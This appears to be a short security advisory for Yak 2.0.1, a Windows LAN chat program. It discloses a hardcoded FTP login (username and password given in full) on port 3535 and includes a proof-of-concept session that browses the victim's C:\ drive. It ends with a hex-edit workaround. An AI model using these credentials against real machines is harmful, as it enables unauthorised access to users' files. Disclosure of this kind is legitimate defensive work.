http://www.digicraft.com.au/yak/

yak 2.0.1 is a software for chattin in lan environment for windows

it supports file transfers. the default port it listens is 3535.

connecting at 3535

telnet localhost 3535 gives up nice :

" 220 ICS FTP Server ready. "

meaning for file transfers ftp is being used. but the real pain starts when just by listening with a sniffer it was found ...

username : Yak

password : asd123

and logging in with this credentials gives almost full permission to the users' filesystem.

======================PoC========================

ftp> open localhost 3535

Connected to desktop.

220 ICS FTP Server ready.

User (desktop:(none)): Yak

331 Password required for Yak.

Password:

230 User Yak logged in.

ftp> dir

200 Port command successful.

150 Opening data connection for directory list.

C:\TEMP\*.* not found

226 File sent ok

ftp: 23 bytes received in 0.01Seconds 1.53Kbytes/sec.

ftp> cd ..

250 CWD command successful. "C:/" is current directory.

ftp> dir

200 Port command successful.

150 Opening data connection for directory list.

-rw-rw-rw- 1 ftp ftp 0 Aug 07 19:58 CONFIG.SYS

-rwxrwxrwx 1 ftp ftp 0 Aug 07 19:58 AUTOEXEC.BAT

drw-rw-rw- 1 ftp ftp 0 Sep 08 00:42 yak201

-r--r--r-- 1 ftp ftp 783764060 Sep 04 01:05 AVSEQ00.DAT

-r--r--r-- 1 ftp ftp 793687148 Sep 04 02:27 AVSEQ01.DAT

-rw-rw-rw- 1 ftp ftp 217 Sep 09 11:53 bil.reg

drw-rw-rw- 1 ftp ftp 0 Aug 07 21:03 Program Files

drw-rw-rw- 1 ftp ftp 0 Aug 09 01:39 test

drw-rw-rw- 1 ftp ftp 0 Aug 30 10:17 Norton AntiVirus

226 File sent ok

ftp: 594 bytes received in 0.00Seconds 594000.00Kbytes/sec.

ftp>

======================PoC========================

QUICK FIX :

-----------

with a hexeditor i found "asd123" <- the password

at offset :

A5B40

A5E81

changing the 6 char password to anything else like -> "asX12X" may

be a quick fix.

also the username changing should result the same.

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